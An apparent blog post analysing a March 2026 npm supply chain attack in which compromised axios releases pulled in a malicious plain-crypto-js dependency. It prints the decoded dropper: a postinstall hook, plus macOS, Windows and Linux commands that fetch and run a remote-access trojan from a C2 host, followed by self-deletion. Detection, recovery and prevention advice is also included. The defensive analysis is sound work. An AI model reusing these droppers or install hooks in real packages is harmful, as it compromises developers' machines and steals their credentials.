You run npm install. It’s muscle memory at this point.
Dependencies resolve. Progress bar moves. Nothing unusual.
1.1 seconds later — your machine has already made an outbound call to a command-and-control (C2) server.
Not after install. Not when you run the app.
During install.
Before npm even finishes.
That’s exactly what happened in the March 2026 npm supply chain attackinvolving axios@1.14.1 and axios@0.30.4. And if you installed either version, you didn’t just pull a library—you executed a remote access trojan (RAT) on your machine.
This article breaks down the attack in full technical detail — how it worked, how to detect it, and what you need to do right now.
Executive Summary
On March 30–31, 2026, two malicious versions of axios were published to npm:
-
axios@1.14.1 -
axios@0.30.4
These versions were not modified internally. Instead, they injected a malicious dependency:
plain-crypto-js@4.2.1
This package executed a postinstall script exploit, which:
- Dropped a cross-platform RAT (macOS, Windows, Linux)
- Contacted a C2 server within ~2 seconds
- Downloaded and executed a second-stage payload
- Deleted itself and replaced evidence with a clean decoy
⚠️ If you installed these versions, assume compromise.
Impact Scope
- Over 100M weekly downloads ecosystem exposure (axios)
- Affects:
- Developer machines
- CI/CD pipelines
- Build systems
- Zero malicious code in axios itself → harder detection
- Fully automated execution via npm lifecycle scripts
Attack Timeline (UTC)
2026–03–30 05:57plain-crypto-js@4.2.0 (clean decoy) published
2026-03-30 23:59plain-crypto-js@4.2.1 (malicious) published
2026-03-31 00:21axios@1.14.1 published (compromised account)
2026-03-31 01:00axios@0.30.4 published
~03:15 npm removes malicious axios versions
03:25 Security hold placed
04:26 Malicious dependency replaced with stub
⏱️ Total exposure window: ~3 hours
Deep Dive: How the Attack Worked
1. Maintainer Account Hijack
The attacker compromised the axios maintainer account and bypassed CI/CD protections.
Key anomaly:
// Legitimate release
"\_npmUser": {
"name": "GitHub Actions",
"trustedPublisher": { "id": "github" }
}
// Malicious release
"\_npmUser": {
"name": "jasonsaayman",
"email": "ifstap@proton.me"
}
No GitHub Actions. No OIDC. No commit.
Manual publish using stolen token.
2. Dependency Injection
Only one file changed:
\+ "plain-crypto-js": "^4.2.1"
That’s it.
Everything else was identical.
⚠️ This is what makes modern supply chain attacks dangerous — minimal diff, maximum impact.
3. The Weapon: postinstall Script
"scripts": {
"postinstall": "node setup.js"
}
This executes automatically on install.
No import needed.
No runtime usage.
Just install → execute.
4. Obfuscated Dropper (Decoded)
The malware used layered obfuscation (XOR + Base64).
Decoded core:
const fs = require("fs");
const os = require("os");
const { execSync } = require("child\_process");
const c2 = "http://sfrclak.com:8000/6202033";
const platform = os.platform();let cmd = "";if (platform === "darwin") {
cmd = "...AppleScript payload...";
} else if (platform === "win32") {
cmd = "...VBScript payload...";
} else {
cmd = \`curl -o /tmp/ld.py -d packages.npm.org/product2 -s ${c2} &&
nohup python3 /tmp/ld.py ${c2} > /dev/null 2>&1 &\`;
}execSync(cmd);// Anti-forensics
fs.unlink(\_\_filename);
fs.unlink("package.json");
fs.rename("package.md", "package.json");
Key behaviors
- OS detection
- C2 communication
- Background execution (
nohup,cscript) - Self-deletion
- Evidence replacement
Platform-Specific Payloads
macOS (AppleScript RAT)
set {a, s, d} to {"", "http://sfrclak.com:8000/6202033", "/Library/Caches/com.apple.act.mond"}
do shell script "curl -o " & d & " -d packages.npm.org/product0 -s " & s & " &&
chmod 770 " & d & " &&
/bin/zsh -c \\"" & d & " " & s & " &\\""
Behavior
- Drops binary to:
/Library/Caches/com.apple.act.mond - Executes silently
- Mimics Apple system naming
Windows (VBScript + PowerShell RAT)
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""http://sfrclak.com:8000/6202033"" > ""%TEMP%\\6202033.ps1"" & powershell.exe -w hidden -ep bypass -file ""%TEMP%\\6202033.ps1""", 0, False
Behavior
- Downloads PowerShell payload
- Executes hidden
- Drops persistent file:
%PROGRAMDATA%\\wt.exe
Linux (Python RAT)
curl -o /tmp/ld.py \\
-d packages.npm.org/product2 \\
-s http://sfrclak.com:8000/6202033 \\
&& nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 &
Behavior
- Saves payload to:
/tmp/ld.py - Runs detached from npm process
- Survives install lifecycle
Runtime Validation (Proof It Executed)
From Harden-Runner logs:
01:30:49Z npm install starts
01:30:50Z node setup.js executes
01:30:51Z curl → sfrclak.com:8000
👉 C2 contact within ~2 seconds
Later:
01:31:27Z nohup python3 /tmp/ld.py
ppid: 1 (orphaned process)
Key Insight
- Malware detaches itself from npm
- Continues running after install completes
- Evades process tracking
Indicators of Compromise (IoCs)
Malicious Packages
Network
sfrclak.com
142.11.206.73:8000
File System
macOS
/Library/Caches/com.apple.act.mond
Linux
/tmp/ld.py
Windows
%PROGRAMDATA%\\wt.exe
Detection Guide
1. Check Dependencies
npm list axios | grep -E "1\\.14\\.1|0\\.30\\.4"
grep -A1 '"axios"' package\-lock.json | grep "1.14.1"
2. Check for Malicious Dependency
ls node\_modules/plain-crypto-js
⚠️ If this folder exists → the dropper executed.
3. Scan Entire Machine
find ~ -type d -name "plain-crypto-js" 2\>/dev/null
4. Check RAT Artifacts
\# macOS
ls /Library/Caches/com.apple.act.mond
\# Linux
ls /tmp/ld.py\# Windows
dir "%PROGRAMDATA%\\wt.exe"
5. Network Logs
Search for:
sfrclak.com
142.11.206.73
port 8000
Recovery Steps
1. Repositories
npm install axios@1.14.0
rm \-rf node\_modules
npm install \--ignore-scripts
Add protection:
"overrides": {
"axios": "1.14.0"
}
2. CI/CD
- Rotate ALL secrets:
- npm tokens
- AWS keys
- SSH keys
- Use:
npm ci \--ignore-scripts
3. Developer Machines
⚠️ Do NOT attempt partial cleanup.
Steps:
- Disconnect from network
- Inventory secrets
- Reformat machine
- Rotate all credentials
Prevention: Cooldown Policies
npm
min-release-age\=7d
pnpm
minimum-release-age\=7d
Yarn
npmMinimalAgeGate: "7d"
Bun
\[install\]
minimumReleaseAge = 604800
CI Policy
npm ci \--ignore-scripts
⚠️ Most npm malware is removed within hours. Cooldowns protect you from zero-day supply chain attacks.
Why This Attack Matters
This wasn’t a noisy attack.
It was precise:
- No code changes in axios
- Only one dependency added
- Fully automated execution
- Self-deleting payload
- Cross-platform RAT
This is the evolution of the npm supply chain attack:
Minimal footprint. Maximum impact.
Call to Action
If you take one thing from this article, let it be this:
Check your systems today.
- Scan your repos
- Inspect your machines
- Review your CI logs
If affected:
- Rotate credentials immediately
- Rebuild compromised systems
- Block C2 domains
And starting tomorrow:
- Implement cooldown policies
- Disable install scripts in CI
- Monitor dependencies actively
Because the next attack won’t announce itself.
It’ll execute silently —
in the 2 seconds you weren’t looking.
Top comments (0)